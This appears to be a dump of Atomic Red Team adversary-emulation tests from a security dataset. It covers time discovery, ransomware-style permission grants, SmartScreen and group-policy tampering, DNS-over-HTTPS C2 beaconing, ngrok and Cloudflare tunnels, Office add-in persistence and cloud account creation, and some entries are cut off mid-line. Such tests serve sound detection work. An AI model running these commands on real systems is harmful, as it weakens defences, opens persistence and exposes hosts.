deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1124: System Time Discovery
Test: System Time Discovery - PowerShell
Platforms: windows
Executor: powershell

Description:
Identify the system time via PowerShell. Upon execution, the system time will be displayed.


Command:
Get-Date
Atomic Red Team — T1124: System Time Discovery
Test: System Time Discovery in FreeBSD/macOS
Platforms: linux, macos
Executor: sh

Description:
Identify system time. Upon execution, the local computer system time and timezone will be displayed. 


Command:
date
Atomic Red Team — T1124: System Time Discovery
Test: System Time Discovery W32tm as a Delay
Platforms: windows
Executor: command_prompt

Description:
identifies DCRat delay time tactics using w32tm.
https://research.splunk.com/endpoint/b2cc69e7-11ba-42dc-a269-59c069a48870/
https://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains


Command:
W32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Atomic Red Team — T1124: System Time Discovery
Test: System Time with Windows time Command
Platforms: windows
Executor: command_prompt

Description:
Displays the current system time via the Windows builtin time command: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/time
Recently observed in use in the wild during an incident involving Ursnif malware:
https://github.com/The-DFIR-Report/Sigma-Rules/blob/dc72f0b557fc63347379be0a[PII_REDACTED]6761c8/rules/windows/process_creation/proc_creation_win_system_time_lookup.yml
https://thedfirreport.com/2023/01/09/unwrapping-ursnifs-gifts/


Command:
time
Atomic Red Team — T1124: System Time Discovery
Test: Discover System Time Zone via Registry
Platforms: windows
Executor: command_prompt

Description:
Identify the Operating System Time Zone via registry with the reg.exe command.
Upon execution, the system Time Zone will be shown.


Command:
reg query "HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation" /v TimeZoneKeyName
Atomic Red Team — T1222.001: File and Directory Permissions Modification: Windows File and Directory Permissions Modification
Test: Take ownership using takeown utility
Platforms: windows
Executor: command_prompt

Description:
Modifies the filesystem permissions of the specified file or folder to take ownership of the object. Upon execution, "SUCCESS" will
be displayed for the folder and each file inside of it.


Command:
takeown.exe /f #{file_folder_to_own} /r


Dependencies:
Test requrires a file to take ownership of to be located at (#{file_folder_to_own})
Atomic Red Team — T1222.001: File and Directory Permissions Modification: Windows File and Directory Permissions Modification
Test: cacls - Grant permission to specified user or group recursively
Platforms: windows
Executor: command_prompt

Description:
Modifies the filesystem permissions of the specified folder and contents to allow the specified user or group Full Control. If "Access is denied"
is displayed it may be because the file or folder doesn't exit. Run the prereq command to create it. Upon successfull execution, "Successfully processed 3 files"
will be displayed.


Command:
icacls.exe #{file_or_folder} /grant #{user_or_group}:F


Dependencies:
Test requrires a file to modify to be located at (#{file_or_folder})
Atomic Red Team — T1222.001: File and Directory Permissions Modification: Windows File and Directory Permissions Modification
Test: attrib - Remove read-only attribute
Platforms: windows
Executor: command_prompt

Description:
Removes the read-only attribute from a file or folder using the attrib.exe command. Upon execution, no output will be displayed.
Open the file in File Explorer > Right Click - Prperties and observe that the Read Only checkbox is empty.


Command:
attrib.exe -r #{file_or_folder}\*.* /s


Dependencies:
Test requrires a file to modify to be located at (#{file_or_folder})
Atomic Red Team — T1222.001: File and Directory Permissions Modification: Windows File and Directory Permissions Modification
Test: attrib - hide file
Platforms: windows
Executor: command_prompt

Description:
Attackers leverage an existing Windows binary, attrib.exe, to mark specific files or folder as hidden by using specific flags so that
the victim does not see the file.


Command:
mkdir #{file_or_folder} >nul 2>&1
echo T1222.001_attrib1 >> #{file_or_folder}\T1222.001_attrib1.txt
echo T1222.001_attrib2 >> #{file_or_folder}\T1222.001_attrib2.txt
attrib.exe +h #{file_or_folder}\T1222.001_attrib1.txt
attrib.exe +h #{file_or_folder}\T1222.001_attrib2.txt


Cleanup:
del /A:H #{file_or_folder}\T1222.001_attrib*.txt >nul 2>&1
Atomic Red Team — T1222.001: File and Directory Permissions Modification: Windows File and Directory Permissions Modification
Test: Grant Full Access to folder for Everyone - Ryuk Ransomware Style
Platforms: windows
Executor: command_prompt

Description:
Invokes the command line similar to that used by Ryuk Ransomware to grant full access to the entire C:\ drive for Everyone.
**icacls "C:\*" /grant Everyone:F /T /C /Q**
However, for this atomic we set the permission on C:\Users\Public so it completes faster and doesn't irreversibly affect the host.
You can set your own path variable to "C:\*" if you prefer.


Command:
icacls "#{path}" /grant Everyone:F /T /C /Q

Cleanup:
icacls '#{path}' /restore #{file_path} /q >nul 2>&1


Dependencies:
Backup of original folder permissions should exist (for use in cleanup commands)
Atomic Red Team — T1222.001: File and Directory Permissions Modification: Windows File and Directory Permissions Modification
Test: SubInAcl Execution
Platforms: windows
Executor: command_prompt

Description:
This test simulates an adversary executing the Windows Resource kit utility SubInAcl. This utility was abused by adversaries in the past in order to modify access permissions. Upon execution, a process creation log should be generated indicating successful execution.

Command:
"C:\Program Files (x86)\Windows Resource Kits\Tools\subinacl.exe"

Dependencies:
Download subinacl
Atomic Red Team — T1484.001: Domain Policy Modification: Group Policy Modification
Test: LockBit Black - Modify Group policy settings -cmd
Platforms: windows
Executor: command_prompt

Description:
An adversary can modify the group policy settings.


Command:
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTimeDC /t REG_DWORD /d 0 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTimeOffsetDC /t REG_DWORD /d 0 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTime /t REG_DWORD /d 0 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTimeOffset /t REG_DWORD /d 0 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v EnableSmartScreen /t REG_DWORD /d 0 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v ShellSmartScreenLevel /t REG_SZ /d Block /f


Cleanup:
reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTimeDC /f >nul 2>&1
reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTimeOffsetDC /f >nul 2>&1
reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTime /f
Atomic Red Team — T1484.001: Domain Policy Modification: Group Policy Modification
Test: LockBit Black - Modify Group policy settings -Powershell
Platforms: windows
Executor: powershell

Description:
An adversary modifies group policy settings


Command:
New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name GroupPolicyRefreshTimeDC -PropertyType DWord -Value 0 -Force
New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name GroupPolicyRefreshTimeOffsetDC -PropertyType DWord -Value 0 -Force
New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name GroupPolicyRefreshTime -PropertyType DWord -Value 0 -Force
New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name GroupPolicyRefreshTimeOffset -PropertyType DWord -Value 0 -Force
New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name EnableSmartScreen -PropertyType DWord -Value 0 -Force
New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name ShellSmartScreenLevel -Force


Cleanup:
Remove-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name GroupPolicyRefreshTimeDC -Force -ErrorAction Ignore
Remove-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name GroupPolicyRefreshTimeOffsetDC -Force -ErrorAction Ignore 
Remove-ItemProperty "HKLM:\SOFTWARE
Atomic Red Team — T1496: Resource Hijacking
Test: FreeBSD/macOS/Linux - Simulate CPU Load with Yes
Platforms: linux, macos
Executor: sh

Description:
This test simulates a high CPU load as you might observe during cryptojacking attacks.
End the test by using CTRL/CMD+C to break.


Command:
yes > /dev/null
Atomic Red Team — T1496: Resource Hijacking
Test: Windows - Simulate CPU Load with PowerShell
Platforms: windows
Executor: powershell

Description:
This test simulates high CPU load using PowerShell, commonly seen in resource hijacking.
Spawns background jobs to stress CPU cores for a specified duration.


Command:
$end = (Get-Date).AddSeconds(#{duration_seconds})
1..#{cpu_threads} | ForEach-Object { Start-Job { param($t) while((Get-Date) -lt $t) { $i=0; while($i -lt 200000){$i++} } } -ArgumentList $end }
Get-Job | Wait-Job | Remove-Job
# T1496 - Resource Hijacking

## Description from ATT&CK

> Adversaries may leverage the resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability.
> 
> Resource hijacking may take a number of different forms. For example, adversaries may:
> 
> * Leverage compute resources in order to mine cryptocurrency
> * Sell network bandwidth to proxy networks
> * Generate SMS traffic for profit
> * Abuse cloud-based messaging services to send large quantities of spam messages
> 
> In some cases, adversaries may leverage multiple types of Resource Hijacking at once.(Citation: Sysdig Cryptojacking Proxyjacking 2023)

[Source](https://attack.mitre.org/techniques/T1496)

## Atomic Tests

- [Atomic Test #1: FreeBSD/macOS/Linux - Simulate CPU Load with Yes](#atomic-test-1-freebsdmacoslinux---simulate-cpu-load-with-yes)
- [Atomic Test #2: Windows - Simulate CPU Load with PowerShell](#atomic-test-2-windows---simulate-cpu-load-with-powershell)

### Atomic Test #1: FreeBSD/macOS/Linux - Simulate CPU Load with Yes

This test simulates a high CPU load as you might observe during cryptojacking attacks.
End the test by using CTRL/CMD+C to break.

**Supported Platforms:** Linux, macOS

**auto_generated_guid:** `904a5a0e-fb02-490d-9f8d-0e256eb37549`

#### Attack Commands: Run with `sh`!

```sh
yes > /dev/null
```

### Atomic Test #2: Windows - Simulate CPU Load with PowerShell

This test simulates high CPU load using PowerShell, commonly seen in resource hijacking.
Spawns background jobs to stress CPU cores for a specified duration.

**Supported Platforms:** Windows

**auto_generated_guid:** `44315fb0-f78d-4cef-b10f-cf21c1fe2c75`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| duration_seconds | Duration in seconds to run the CPU stress test | integer | 30|
| cpu_threads | Number of threads to stress (default 4) | integer | 4|

#### Attack Commands: Run with `powershell`!

```powershell
$end = (Get-Date).AddSeconds(#{duration_seconds})
1..#{cpu_threads} | ForEach-Object { Start-Job { param($t) while((Get-Date) -lt $t) { $i=0; while($i -lt 200000){$i++} } } -ArgumentList $end }
Get-Job | Wait-Job | Remove-Job
```
Atomic Red Team — T1572: Protocol Tunneling
Test: DNS over HTTPS Large Query Volume
Platforms: windows
Executor: powershell

Description:
This test simulates an infected host sending a large volume of DoH queries to a command and control server.
The intent of this test is to trigger threshold based detection on the number of DoH queries either from a single source system or to a single targe domain.
A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.


Command:
for($i=0; $i -le #{query_volume}; $i++) { (Invoke-WebRequest "#{doh_server}?name=#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}&type=#{query_type}" -UseBasicParsing).Content }
Atomic Red Team — T1572: Protocol Tunneling
Test: DNS over HTTPS Regular Beaconing
Platforms: windows
Executor: powershell

Description:
This test simulates an infected host beaconing via DoH queries to a command and control server at regular intervals over time.
This behaviour is typical of implants either in an idle state waiting for instructions or configured to use a low query volume over time to evade threshold based detection.
A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.


Command:
Set-Location "PathToAtomicsFolder"
.\T1572\src\T1572-doh-beacon.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} -RunTime #{runtime}
Atomic Red Team — T1572: Protocol Tunneling
Test: DNS over HTTPS Long Domain Query
Platforms: windows
Executor: powershell

Description:
This test simulates an infected host returning data to a command and control server using long domain names.
The simulation involves sending DoH queries that gradually increase in length until reaching the maximum length. The intent is to test the effectiveness of detection of DoH queries for long domain names over a set threshold.
 Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.


Command:
Set-Location "PathToAtomicsFolder"
.\T1572\src\T1572-doh-domain-length.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type}
Atomic Red Team — T1572: Protocol Tunneling
Test: run ngrok
Platforms: windows
Executor: powershell

Description:
Download and run ngrok. Create tunnel to chosen port.


Command:
C:\Users\Public\ngrok\ngrok.exe config add-authtoken #{api_token} | Out-Null
Start-Job -ScriptBlock { C:\Users\Public\ngrok\ngrok.exe tcp #{port_num} } | Out-Null
Start-Sleep -s 5 
Stop-Job -Name Job1 | Out-Null


Cleanup:
Remove-Item C:\Users\Public\ngrok -Recurse -ErrorAction Ignore
Remove-Item C:\%userprofile%\AppData\Local\ngrok -ErrorAction Ignore


Dependencies:
Download ngrok
Atomic Red Team — T1572: Protocol Tunneling
Test: Microsoft Dev tunnels (Linux/macOS)
Platforms: linux, macos
Executor: bash

Description:
Dev Tunnels enables insiders as well as threat actors to expose local ports over the internet via Microsoft dev tunnels.

This atomic will generate a dev tunnel binding it to the local service running on the provided port. Can be used to expose local services, web applications and local files etc.
Reference:
- [Microsoft Docs](https://learn.microsoft.com/en-us/tunnels/dev-tunnels-overview)
- [LOT Tunnels](https://lottunnels.github.io/lottunnels/Binaries/devtunnels/)


Command:
#{binary_path} host -p #{port} &


Cleanup:
pkill -9 $(basename "#{binary_path}")
#{binary_path} user logout
rm #{binary_path}


Dependencies:
Download devtunnel

Login to Microsoft Dev tunnels
Atomic Red Team — T1572: Protocol Tunneling
Test: VSCode tunnels (Linux/macOS)
Platforms: linux, macos
Executor: sh

Description:
Visual Studio Code Remote Tunnels can be used for exposing local development environment/services/files over the internet.
This atomic will generate a dev tunnel binding it to the local service running on the provided port.
Reference:
- [Microsoft Docs](https://code.visualstudio.com/docs/remote/tunnels)
- [LOT Tunnels](https://lottunnels.github.io/lottunnels/Binaries/vscode-server/)


Command:
nohup code tunnel --accept-server-license-terms #{additional_args} >/dev/null 2>&1 &


Cleanup:
pkill -9 tunnel
code tunnel unregister
code tunnel user logout


Dependencies:
Install code-cli

Login to VSCode Dev tunnels
Atomic Red Team — T1572: Protocol Tunneling
Test: Cloudflare tunnels (Linux/macOS)
Platforms: linux, macos
Executor: sh

Description:
Cloudflared can be used for exposing local development environment/services/files over the internet.
This atomic will generate a dev tunnel binding it to the local service running on the provided port.
Reference:
- [Cloudflared Docs](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/)
- [LOT Tunnels](https://lottunnels.github.io/lottunnels/Binaries/cloudflared/)


Command:
nohup #{binary_path} tunnel --url #{url_to_tunnel} #{additional_args} >/dev/null 2>&1 &


Cleanup:
pkill -9 $(basename "#{binary_path}")
rm -f "#{binary_path}"


Dependencies:
Download cloudflared
Atomic Red Team — T1137.006: Office Application Startup: Add-ins
Test: Code Executed Via Excel Add-in File (XLL)
Platforms: windows
Executor: powershell

Description:
Loads an XLL file using the excel add-ins library.
This causes excel to launch Notepad.exe as a child process. This atomic test does not include persistent code execution as you would typically see when this is implemented in malware.


Command:
$excelApp = New-Object -COMObject "Excel.Application"
if(-not $excelApp.path.contains("Program Files (x86)")){
    Write-Host "64-bit Office"
    $excelApp.RegisterXLL("PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x64.xll")
}
else{
  Write-Host "32-bit Office"
  $excelApp.RegisterXLL("PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x86.xll")
}


Cleanup:
Stop-Process -Name "notepad","Excel" -ErrorAction Ignore


Dependencies:
Microsoft Excel must be installed

XLL files must exist on disk at specified location
Atomic Red Team — T1137.006: Office Application Startup: Add-ins
Test: Persistent Code Execution Via Excel Add-in File (XLL)
Platforms: windows
Executor: powershell

Description:
Creates an Excel Add-in file (XLL) and sets a registry key to make it run automatically when Excel is started
The sample XLL provided launches the notepad as a proof-of-concept for persistent execution from Office.


Command:
$excelApp = New-Object -COMObject "Excel.Application"
if(-not $excelApp.path.contains("Program Files (x86)")){
    Write-Host "64-bit Office"
    Copy "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x64.xll" "$env:APPDATA\Microsoft\AddIns\notepad.xll"
}
else{
  Write-Host "32-bit Office"
  Copy "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x86.xll" "$env:APPDATA\Microsoft\AddIns\notepad.xll"
}
$ver = $excelApp.version
$ExcelRegPath="HKCU:\Software\Microsoft\Office\$Ver\Excel\Options"
Remove-Item $ExcelRegPath -ErrorAction Ignore
New-Item -type Directory $ExcelRegPath | Out-Null
New-ItemProperty $ExcelRegPath OPEN -value "/R notepad.xll" -propertyType string | Out-Null
$excelApp.Quit()
Start-Process "Excel"


Cleanup:
$ver = (New-Object -COMObject "Excel.Application").version
Remove-Item "HKCU:\Software\Microsoft\Office\$Ver\Excel\Options" -ErrorAction Ignore
Stop-Process -Name "notepad","Excel" -ErrorAction Ignore
Start-Sleep 3
Remove-Item "$env:APPDATA\Microsoft\AddIns\notepad.xll" -ErrorAction Ignore


Dependencies:
Microsoft Excel must be installed

XLL files must exist on disk at specified location
Atomic Red Team — T1137.006: Office Application Startup: Add-ins
Test: Persistent Code Execution Via Word Add-in File (WLL)
Platforms: windows
Executor: powershell

Description:
Creates a Word Add-in file (WLL) which runs automatically when Word is started
The sample WLL provided launches the notepad as a proof-of-concept for persistent execution from Office.
Successfully tested on 32-bit Office 2016. Not successful from microsoft 365 version of Office. 


Command:
$wdApp = New-Object -COMObject "Word.Application"
if(-not $wdApp.path.contains("Program Files (x86)"))  
{
  Write-Host "64-bit Office"
  Copy "PathToAtomicsFolder\T1137.006\bin\Addins\wordwll_x64.wll" "$env:APPDATA\Microsoft\Word\Startup\notepad.wll"        
}
else{
  Write-Host "32-bit Office"
  Copy "PathToAtomicsFolder\T1137.006\bin\Addins\wordwll_x86.wll" "$env:APPDATA\Microsoft\Word\Startup\notepad.wll"
}
Stop-Process -Name "WinWord" 
Start-Process "WinWord"


Cleanup:
Stop-Process -Name "notepad","WinWord" -ErrorAction Ignore
Start-Sleep 3
Remove-Item "$env:APPDATA\Microsoft\Word\Startup\notepad.wll" -ErrorAction Ignore


Dependencies:
Microsoft Word must be installed

WLL files must exist on disk at specified location
Atomic Red Team — T1137.006: Office Application Startup: Add-ins
Test: Persistent Code Execution Via Excel VBA Add-in File (XLAM)
Platforms: windows
Executor: powershell

Description:
Creates an Excel VBA Add-in file (XLAM) which runs automatically when Excel is started
The sample XLAM provided launches the notepad as a proof-of-concept for persistent execution from Office.


Command:
Copy "PathToAtomicsFolder\T1137.006\bin\Addins\ExcelVBAaddin.xlam" "$env:APPDATA\Microsoft\Excel\XLSTART\notepad.xlam"        
Start-Process "Excel"


Cleanup:
Stop-Process -Name "notepad","Excel" -ErrorAction Ignore
Start-Sleep 3
Remove-Item "$env:APPDATA\Microsoft\Excel\XLSTART\notepad.xlam" -ErrorAction Ignore


Dependencies:
Microsoft Excel must be installed

XLAM file must exist on disk at specified location
Atomic Red Team — T1137.006: Office Application Startup: Add-ins
Test: Persistent Code Execution Via PowerPoint VBA Add-in File (PPAM)
Platforms: windows
Executor: powershell

Description:
Creates a PowerPoint VBA Add-in file (PPAM) which runs automatically when PowerPoint is started
The sample PPA provided launches the notepad as a proof-of-concept for persistent execution from Office.


Command:
Copy "PathToAtomicsFolder\T1137.006\bin\Addins\PptVBAaddin.ppam" "$env:APPDATA\Microsoft\Addins\notepad.ppam"
$ver = (New-Object -COMObject "PowerPoint.Application").version
$ExcelRegPath="HKCU:\Software\Microsoft\Office\$Ver\PowerPoint\AddIns\notepad"
New-Item -type Directory $ExcelRegPath -Force | Out-Null
New-ItemProperty $ExcelRegPath "Autoload" -value "1" -propertyType DWORD  | Out-Null
New-ItemProperty $ExcelRegPath "Path" -value "notepad.ppam" -propertyType string | Out-Null
Stop-Process -Name "PowerPnt" -ErrorAction Ignore
Start-Process "PowerPnt"


Cleanup:
$ver = (New-Object -COMObject "PowerPoint.Application").version
Remove-Item "HKCU:\Software\Microsoft\Office\$Ver\PowerPoint\AddIns\notepad" -ErrorAction Ignore
Stop-Process -Name "notepad","PowerPnt" -ErrorAction Ignore
Start-Sleep 3
Remove-Item "$env:APPDATA\Microsoft\AddIns\notepad.ppam"  -ErrorA

Dependencies:
Microsoft Excel must be installed

PPAM file must exist on disk at specified location
Atomic Red Team — T1136.003: Create Account: Cloud Account
Test: AWS - Create a new IAM user
Platforms: iaas:aws
Executor: sh

Description:
Creates a new IAM user in AWS. Upon successful creation, a new user will be created. Adversaries create new IAM users so that their malicious activity do not interupt the normal functions of the compromised users and can remain undetected for a long time


Command:
aws iam create-user --user-name #{username}


Cleanup:
aws iam delete-user --user-name #{username}


Dependencies:
Check if ~/.aws/credentials file has a default stanza is configured
Atomic Red Team — T1136.003: Create Account: Cloud Account
Test: Azure AD - Create a new user
Platforms: azure-ad
Executor: powershell

Description:
Creates a new user in Azure AD. Upon successful creation, a new user will be created. Adversaries create new users so that their malicious activity does not interrupt the normal functions of the compromised users and can remain undetected for a long time.

Command:
Connect-AzureAD
$userprincipalname = "#{userprincipalname}"
$username = "#{username}"      
$password = "#{password}"
$PasswordProfile = New-Object -TypeName Microsoft.Open.AzureAD.Model.PasswordProfile
$PasswordProfile.[CREDENTIAL_REDACTED]
New-AzureADUser -DisplayName $username -PasswordProfile $PasswordProfile -UserPrincipalName $userprincipalname -AccountEnabled $true -MailNickName $username      

Cleanup:
Remove-AzureADUser -ObjectId "#{userprincipalname}"

Dependencies:
Check if AzureAD PowerShell module is installed
Check if AzureAD PowerShell module is installed